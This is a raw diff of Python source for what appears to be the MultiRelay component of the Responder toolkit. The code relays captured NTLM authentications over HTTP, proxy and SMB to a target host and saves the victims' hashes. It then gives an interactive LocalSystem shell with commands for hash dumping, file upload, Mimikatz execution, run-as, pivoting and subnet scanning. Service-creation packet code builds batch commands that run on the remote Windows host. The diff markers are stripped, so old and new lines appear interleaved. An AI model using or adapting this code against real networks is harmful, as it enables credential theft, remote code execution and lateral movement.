head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00")
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",mid="\x02\x00")
t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))#
t.calculate()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
smbdata = s.recv(2048) #got it here.
## Send HTTP Proxy
Buffer_Ans = WPAD_NTLM_Challenge_Ans()
Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
key = ExtractHTTPChallenge(smbdata)#Grab challenge key for later use (hash parsing).
key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing).
self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client.
data = self.request.recv(8092)
NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
@@ -213,21 +262,22 @@ class HTTPProxyRelay(BaseRequestHandler):
else:
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
#and has not attempted before. While at it, let's grab his hash.
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host)
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
if Username is not None:
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00")
t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
buffer1 = longueur(packet1)+packet1
print "[+] SMB Session Auth sent."
s.send(buffer1)
smbdata = s.recv(2048)
RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
if RunCmd is None:
s.close()
return None
s.close()
self.request.close()
return None
else:
##Any other type of request, send a 407.
@@ -241,13 +291,15 @@ class HTTPProxyRelay(BaseRequestHandler):
class HTTPRelay(BaseRequestHandler):
def handle(self):
try:
#Don't handle requests while a shell is open. That's the goal after all.
if IsShellOpen():
return None
if IsPivotOn():
return None
except:
raise
@@ -270,7 +322,7 @@ class HTTPRelay(BaseRequestHandler):
if Packet_NTLM == "\x01":
## SMB Block. Once we get an incoming NTLM request, we grab the ntlm challenge from the target.
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8")
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x43\xc8")
n = SMBNegoCairo(Data = SMBNegoCairoData())
n.calculate()
packet0 = str(h)+str(n)
@@ -279,18 +331,18 @@ class HTTPRelay(BaseRequestHandler):
smbdata = s.recv(2048)
##Session Setup AndX Request, NTLMSSP_NEGOTIATE
if smbdata[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00")
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",mid="\x02\x00")
t = SMBSessionSetupAndxNEGO(Data=b64decode(''.join(NTLM_Auth)))#
t.calculate()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
smbdata = s.recv(2048) #got it here.
## Send HTTP Response.
Buffer_Ans = IIS_NTLM_Challenge_Ans()
Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
key = ExtractHTTPChallenge(smbdata)#Grab challenge key for later use (hash parsing).
key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing).
self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client.
data = self.request.recv(8092)
NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
@@ -307,24 +359,25 @@ class HTTPRelay(BaseRequestHandler):
else:
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
#and has not attempted before. While at it, let's grab his hash.
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host)
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
if Username is not None:
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00")
t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
buffer1 = longueur(packet1)+packet1
print "[+] SMB Session Auth sent."
s.send(buffer1)
smbdata = s.recv(2048)
RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
if RunCmd is None:
s.close()
return None
s.close()
self.request.close()
return None
else:
##Any other type of request, send a 407.
##Any other type of request, send a 401.
Response = IIS_Auth_401_Ans()
self.request.send(str(Response))
@@ -335,7 +388,7 @@ class HTTPRelay(BaseRequestHandler):
pass
class SMBRelay(BaseRequestHandler):
def handle(self):
try:
@@ -346,13 +399,12 @@ class SMBRelay(BaseRequestHandler):
raise
s = ConnectToTarget()
try:
data = self.request.recv(4096)
##Negotiate proto answer. That's us.
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x53\xc7", pid=pidcalc(data),mid=midcalc(data))
head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x43\xc8", pid=pidcalc(data),mid=midcalc(data))
t = SMBRelayNegoAns(Dialect=Parse_Nego_Dialect(data))
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
@@ -362,13 +414,13 @@ class SMBRelay(BaseRequestHandler):
## Make sure it's not a Kerberos auth.
if data.find("NTLM") is not -1:
## Start with nego protocol + session setup negotiate to our target.
data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s)
data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s, Pivoting)
## Make sure it's not a Kerberos auth.
if data.find("NTLM") is not -1:
##Relay all that to our client.
if data[8:10] == "\x73\x00":
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
#NTLMv2 MIC calculation is a concat of all 3 NTLM (nego,challenge,auth) messages exchange.
#Then simply grab the whole session setup packet except the smb header from the client and pass it to the server.
t = smbdata[36:]
@@ -383,111 +435,149 @@ class SMBRelay(BaseRequestHandler):
if IsSMBAnonymous(data):
##Send logon failure for anonymous logins.
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
t = SMBSessEmpty()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
#data = self.request.recv(4096) ##Make him feel bad, ditch the connection.
s.close()
return None
else:
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
#and has not attempted before. While at it, let's grab his hash.
Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host)
Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host[0],Pivoting)
if Username is not None:
##Got the ntlm message 3, send it over to SMB.
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00")
t = data[36:]#Final relay.
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
print "[+] SMB Session Auth sent."
buffer1 = longueur(packet1)+packet1
if Pivoting[0] == "1":
pass
else:
print "[+] SMB Session Auth sent."
s.send(buffer1)
smbdata = s.recv(4096)
#We're all set, dropping into shell.
RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
#If runcmd is None it's because tree connect was denied for this user.
#This will only happen once with that specific user account.
#This will only happen once with that specific user account.
#Let's kill that connection so we can force him to reauth with another account.
if RunCmd is None:
s.close()
return None
else:
##Send logon failure, so our client might authenticate with another account.
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x53\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
##Send logon failure, so our client might authenticate with another account.
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data))
t = SMBSessEmpty()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
data = self.request.recv(4096)
s.close()
self.request.close()
return None
except Exception:
s.close()
self.request.close()
##No need to print anything (timeouts, rst, etc) to the user console..
pass
#Interface starts here.
def RunShellCmd(data, s, clientIP, Host, Username, Domain):
def RunShellCmd(data, s, clientIP, Target, Username, Domain):
#Let's declare our globals here..
#Pivoting gets used when the pivot cmd is used, it let us figure out in which mode is MultiRelay. Initial Relay or Pivot mode.
global Pivoting
#Update Host, when pivoting is used.
global Host
#Make sure we don't open 2 shell at the same time..
global ShellOpen
ShellOpen = ["Shell is open"]
# On this block we do some verifications before dropping the user into the shell.
if data[8:10] == "\x73\x6d":
print "[+] Relay failed, Logon Failure. This user doesn't have an account on this target."
print "[+] Hashes were saved anyways in Responder/logs/ folder.\n"
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
del ShellOpen[:]
return False
if data[8:10] == "\x73\x8d":
print "[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n"
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
del ShellOpen[:]
return False
## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$:
if data[8:10] == "\x73\x5e":
print "[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n"
del ShellOpen[:]
return False
## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$:
## Tree Connect
if data[8:10] == "\x73\x00":
GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session.
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\C$")
t.calculate()
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x43\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\C$")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
## Nope he doesn't.
if data[8:10] == "\x75\x22":
print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n"
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
return False
if Pivoting[0] == "1":
pass
else:
print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n"
Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
del ShellOpen[:]
return False
# This one should not happen since we always use the IP address of the target in our tree connects, but just in case..
# This one should not happen since we always use the IP address of the target in our tree connects, but just in case..
if data[8:10] == "\x75\xcc":
print "[+] Tree Connect AndX denied. Bad Network Name returned."
del ShellOpen[:]
return False
## Tree Connect on C$ is successfull.
if data[8:10] == "\x75\x00":
print "[+] Looks good, "+Username+" has admin rights on C$."
if Pivoting[0] == "1":
pass
else:
print "[+] Looks good, "+Username+" has admin rights on C$."
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")
t.calculate()
t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
## Run one command.
if data[8:10] == "\x75\x00" and OneCommand != None or Dump:
print "[+] Authenticated."
if OneCommand != None:
print "[+] Running command: %s"%(OneCommand)
RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Target[0])
if Dump:
print "[+] Dumping hashes"
DumpHashes(data, s, Target[0])
os._exit(1)
## Drop into the shell.
if data[8:10] == "\x75\x00":
print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
ShowHelp()
#Make sure we don't open 2 shell at the same time..
global ShellOpen
ShellOpen = ["Shell is open"]
if data[8:10] == "\x75\x00" and OneCommand == None:
if Pivoting[0] == "1":
pass
else:
print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
ShowHelp()
Logs.info("Client:"+clientIP+", "+Domain+"\\"+Username+" --> Target: "+Target[0]+" -> Shell acquired")
print color('Connected to %s as LocalSystem.'%(Target[0]),2,1)
while True:
@@ -495,50 +585,166 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
if data[8:10] == "\x75\x00":
#start a thread for raw_input, so we can do other stuff while we wait for a command.
t = Thread(target=get_command, args=())
t.daemon = True
t.start()
t.join()
#For now, this is not functionning as expected. The SMB echos are killing the connection
#way faster than if we let the connection time_wait (after 2 tree connect [1 IPC & 1 C$]) itself.
#So let's use the tree connects wait (average time before timeout:5-12h)
"""
#Use SMB Pings to maintain our connection alive. Once in a while we perform a dumb read operation
#to maintain MultiRelay alive and well.
count = 0
DoEvery = random.randint(10, 45)
while any(x in Cmd for x in Cmd) is False:
count = count+1
SMBKeepAlive(s, data)
time.sleep(20)
pass
"""
if count == DoEvery:
DumbSMBChain(data, s, Target[0])
count = 0
if any(x in Cmd for x in Cmd) is True:
break
##Grab the commands. Cmd is global in get_command().
Read = re.findall(r'(?<=read )[^\r]*', Cmd[0])
RegDump = re.findall(r'(?<=regdump )[^\r]*', Cmd[0])
Get = re.findall(r'(?<=get )[^\r]*', Cmd[0])
Help = re.findall(r'(?<=help)[^\r]*', Cmd[0])
DumpReg = re.findall('^dump', Cmd[0])
Read = re.findall('^read (.*)$', Cmd[0])
RegDump = re.findall('^regdump (.*)$', Cmd[0])
Get = re.findall('^get (.*)$', Cmd[0])
Upload = re.findall('^upload (.*)$', Cmd[0])
Delete = re.findall('^delete (.*)$', Cmd[0])
RunAs = re.findall('^runas (.*)$', Cmd[0])
LCmd = re.findall('^lcmd (.*)$', Cmd[0])
Mimi = re.findall('^mimi (.*)$', Cmd[0])
Mimi32 = re.findall('^mimi32 (.*)$', Cmd[0])
Scan = re.findall('^scan (.*)$', Cmd[0])
Pivot = re.findall('^pivot (.*)$', Cmd[0])
Help = re.findall('^help', Cmd[0])
if Cmd[0] == "exit":
print "[+]Returning in relay mode."
print "[+] Returning in relay mode."
del Cmd[:]
del ShellOpen[:]
return None
##For all of the following commands we send the data (var:data) returned by the
##tree connect IPC$ answer and the socket (var: s) to our operation function in RelayMultiCore.
##For all of the following commands we send the data (var: data) returned by the
##tree connect IPC$ answer and the socket (var: s) to our operation function in RelayMultiCore.
##We also clean up the command array when done.
if Cmd[0] == "dump":
data = DumpHashes(data, s, Host)
if DumpReg:
data = DumpHashes(data, s, Target[0])
del Cmd[:]
if Read:
File = Read[0]
data = ReadFile(data, s, File, Host)
data = ReadFile(data, s, File, Target[0])
del Cmd[:]
if Get:
File = Get[0]
data = GetAfFile(data, s, File, Host)
data = GetAfFile(data, s, File, Target[0])
del Cmd[:]
if Upload:
File = Upload[0]
if os.path.isfile(File):
FileSize, FileContent = UploadContent(File)
File = os.path.basename(File)
data = WriteFile(data, s, File, FileSize, FileContent, Target[0])
del Cmd[:]
else:
print File+" does not exist, please specify a valid file."
del Cmd[:]
if Delete:
Filename = Delete[0]
data = DeleteFile(data, s, Filename, Target[0])
del Cmd[:]
if RegDump:
Key = RegDump[0]
data = SaveAKey(data, s, Host, Key)
data = SaveAKey(data, s, Target[0], Key)
del Cmd[:]
if RunAs:
if os.path.isfile(RunAsFileName):
FileSize, FileContent = UploadContent(RunAsFileName)
FileName = os.path.basename(RunAsFileName)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
Exec = RunAs[0]
data = RunAsCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0], FileName)
del Cmd[:]
else:
print RunAsFileName+" does not exist, please specify a valid file."
del Cmd[:]
if LCmd:
subprocess.call(LCmd[0], shell=True)
del Cmd[:]
if Mimi:
if os.path.isfile(MimikatzFilename):
FileSize, FileContent = UploadContent(MimikatzFilename)
FileName = os.path.basename(MimikatzFilename)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
Exec = Mimi[0]
data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName)
del Cmd[:]
else:
print MimikatzFilename+" does not exist, please specify a valid file."
del Cmd[:]
if Mimi32:
if os.path.isfile(Mimikatzx86Filename):
FileSize, FileContent = UploadContent(Mimikatzx86Filename)
FileName = os.path.basename(Mimikatzx86Filename)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
Exec = Mimi32[0]
data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName)
del Cmd[:]
else:
print Mimikatzx86Filename+" does not exist, please specify a valid file."
del Cmd[:]
if Pivot:
if Pivot[0] == Target[0]:
print "[Pivot Verification Failed]: You're already on this host. No need to pivot."
del Pivot[:]
del Cmd[:]
else:
if ShowSigning(Pivot[0]):
del Pivot[:]
del Cmd[:]
else:
if os.path.isfile(RunAsFileName):
FileSize, FileContent = UploadContent(RunAsFileName)
FileName = os.path.basename(RunAsFileName)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
RunAsPath = '%windir%\\Temp\\'+FileName
Status, data = VerifyPivot(data, s, clientIP, Username, Domain, Pivot[0], Logs, Target[0], RunAsPath, FileName)
if Status == True:
print "[+] Pivoting to %s."%(Pivot[0])
if os.path.isfile(RunAsFileName):
FileSize, FileContent = UploadContent(RunAsFileName)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
#shell will close.
del ShellOpen[:]
#update the new host.
Host = [Pivot[0]]
#we're in pivoting mode.
Pivoting = ["1"]
data = PivotToOtherHost(data, s, clientIP, Username, Domain, Logs, Target[0], RunAsPath, FileName)
del Cmd[:]
s.close()
return None
if Status == False:
print "[Pivot Verification Failed]: This user doesn't have enough privileges on "+Pivot[0]+" to pivot. Try another host."
del Cmd[:]
del Pivot[:]
else:
print RunAsFileName+" does not exist, please specify a valid file."
del Cmd[:]
if Scan:
LocalIp = FindLocalIp()
Range = ConvertToClassC(Target[0], Scan[0])
RunPivotScan(Range, Target[0])
del Cmd[:]
if Help:
@@ -548,32 +754,41 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
##Let go with the command.
if any(x in Cmd for x in Cmd):
if len(Cmd[0]) > 1:
data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Host)
del Cmd[:]
if os.path.isfile(SysSVCFileName):
FileSize, FileContent = UploadContent(SysSVCFileName)
FileName = os.path.basename(SysSVCFileName)
RunPath = '%windir%\\Temp\\'+FileName
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Target[0], RunPath,FileName)
del Cmd[:]
else:
print SysSVCFileName+" does not exist, please specify a valid file."
del Cmd[:]
if data is None:
print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure the server (\\Windows\\Temp\\) is clean\033[0m\n"
print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure (\\Windows\\Temp\\) is clean on the server\033[0m\n"
if data[8:10] == "\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop.
if data[8:10] == "\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop.
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")#
t.calculate()
t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")#
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
class ThreadingTCPServer(TCPServer):
def server_bind(self):
TCPServer.server_bind(self)
ThreadingTCPServer.allow_reuse_address = 1
ThreadingTCPServer.daemon_threads = True
def serve_thread_tcp(host, port, handler):
try:
server = ThreadingTCPServer((host, port), handler)
server.serve_forever()
except:
except:
print color('Error starting TCP server on port '+str(port)+ ', check permissions or other servers running.', 1, 1)
def main():
@@ -591,7 +806,12 @@ def main():
while True:
time.sleep(1)
except KeyboardInterrupt:
except (KeyboardInterrupt, SystemExit):
##If we reached here after a MultiRelay shell interaction, we need to reset the terminal to its default.
##This is a bug in python readline when dealing with raw_input()..
if ShellOpen:
os.system('stty sane')
##Then exit
sys.exit("\rExiting...")
if __name__ == '__main__':

File diff suppressed because it is too large Load Diff

View File

@@ -460,7 +460,42 @@ class SMBTreeConnectData(Packet):
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
class SMBTreeDisconnect(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc","\x00\x00"),
])
class SMBNTCreateData(Packet):
fields = OrderedDict([
("Wordcount", "\x18"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("Reserved2", "\x00"),
("FileNameLen", "\x07\x00"),
("CreateFlags", "\x16\x00\x00\x00"),
("RootFID", "\x00\x00\x00\x00"),
("AccessMask", "\x9F\x01\x02\x00"),
("AllocSize", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("FileAttrib", "\x00\x00\x00\x00"),
("ShareAccess", "\x03\x00\x00\x00"),
("Disposition", "\x01\x00\x00\x00"),
("CreateOptions", "\x40\x00\x40\x00"),
("Impersonation", "\x02\x00\x00\x00"),
("SecurityFlags", "\x01"),
("Bcc", "\x08\x00"),
("FileName", ""),
("FileNameNull", "\x00"),
])
def calculate(self):
Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
self.fields["Bcc"] = struct.pack("<h",len(Data1))
class SMBNTCreateDataSVCCTL(Packet):
fields = OrderedDict([
("Wordcount", "\x18"),
("AndXCommand", "\xff"),
@@ -488,6 +523,15 @@ class SMBNTCreateData(Packet):
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
self.fields["Bcc"] = struct.pack("<h",len(Data1))
class SMBLockingAndXResponse(Packet):
fields = OrderedDict([
("Wordcount", "\x02"),
("AndXCommand", "\xff"),
("Reserved", "\x00"),
("Andxoffset", "\x00\x00"),
("Bcc", "\x00\x00"),
])
class SMBReadData(Packet):
fields = OrderedDict([
("Wordcount", "\x0a"),
@@ -509,6 +553,31 @@ class SMBReadData(Packet):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBWriteData(Packet):
fields = OrderedDict([
("Wordcount", "\x0e"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\xde\xde"),
("FID", "\x06\x40"),
("Offset", "\x00\x00\x00\x00"),
("TimeOut", "\x00\x00\x00\x00"),
("WriteMode", "\x01\x00"),
("Remaining", "\x00\x00"),
("DataLenHi", "\x00\x00"),
("DataLenLow", "\xdc\x02"),
("DataOffset", "\x40\x00"),
("HiOffset", "\x00\x00\x00\x00"),
("Bcc", "\xdc\x02"),
("Padding", "\x41"),
("Data", ""),
])
def calculate(self):
self.fields["DataLenLow"] = struct.pack("<H",len(str(self.fields["Data"])))
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
class SMBDCERPCWriteData(Packet):
fields = OrderedDict([
("Wordcount", "\x0e"),
("AndXCommand", "\xff"),
@@ -532,6 +601,8 @@ class SMBWriteData(Packet):
self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"])))
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBTransDCERPC(Packet):
fields = OrderedDict([
("Wordcount", "\x10"),
@@ -591,7 +662,7 @@ class SMBDCEData(Packet):
("DataRepresent", "\x10\x00\x00\x00"),
("FragLen", "\x2c\x02"),
("AuthLen", "\x00\x00"),
("CallID", "\x00\x00\x00\x00"),
("CallID", "\x01\x00\x00\x00"),
("MaxTransFrag", "\xd0\x16"),
("MaxRecvFrag", "\xd0\x16"),
("GroupAssoc", "\x00\x00\x00\x00"),
@@ -651,6 +722,11 @@ class SMBDCESVCCTLOpenManagerW(Packet):
])
def calculate(self):
#Padding
if len(str(self.fields["MachineName"]))%2==0:
self.fields["MachineNameNull"] = "\x00\x00\x00\x00"
else:
self.fields["MachineNameNull"] = "\x00\x00"
## Convert to UTF-16LE
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1)
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["MachineName"]))+1)
@@ -677,16 +753,13 @@ class SMBDCESVCCTLCreateService(Packet):
("BinPathMaxCount", "\xb6\x00\x00\x00"),
("BinPathOffset", "\x00\x00\x00\x00"),
("BinPathActualCount", "\xb6\x00\x00\x00"),
("FileName", ""),
("BinPathName", ""),
("BinCMD", ""),
("BintoEnd", ""),
("BinCMDTerminator", "\x00\x00"),
("LoadOrderGroup", "\x00\x00\x00\x00"),
("TagID", "\x00\x00\x00\x00"),
("Dependencies", "\x00\x00\x00\x00"),
("DependenciesLen", "\x00\x00\x00\x00"),
("ServiceStartName", "\x00\x00\x00\x00"),
("ServiceStartUser", "\x00\x00\x00\x00"),
("Password", "\x00\x00\x00\x00"),
("PasswordLen", "\x00\x00\x00\x00"),
("Padding", "\x00\x00"),
@@ -694,29 +767,13 @@ class SMBDCESVCCTLCreateService(Packet):
])
def calculate(self):
self.fields["BinCMD"] = self.fields["BinCMD"].replace("&", "^&")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("(", "^(")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(")", "^)")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("%", "^%")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(">", "^>")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("|", "^|")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("$", "^$")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("!", "^!")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace(",", "^,")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("'", "^'")#Filtering
self.fields["BinCMD"] = self.fields["BinCMD"].replace("\"", "^\"")#Filtering
BinDataLen = str(self.fields["BinCMD"])
File = "%WINDIR%\\Temp\\"+self.fields["FileName"]
WinTmpPath = "%WINDIR%\\Temp\\Results.txt"
FinalCMD = "del /F /Q "+File+"^&"+self.fields["BinCMD"]+" ^>"+WinTmpPath+" >"+File
#That is: delete the bat file (it's loaded in memory, no pb), echo original cmd into random .bat file, run .bat file.
self.fields["FileName"] = ""#Reset it.
self.fields["BinPathName"] = "%COMSPEC% /C echo "#make sure to escape "&" when using echo.
self.fields["BinCMD"] = FinalCMD
self.fields["BintoEnd"] = "& %COMSPEC% /C call "+File+"&exit"
BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"])
#Padding
if len(str(self.fields["BinCMD"]))%2==0:
self.fields["LoadOrderGroup"] = "\x00\x00\x00\x00"
else:
self.fields["LoadOrderGroup"] = "\x00\x00"
## Calculate first
self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
@@ -725,12 +782,11 @@ class SMBDCESVCCTLCreateService(Packet):
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
## Then convert to UTF-16LE
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
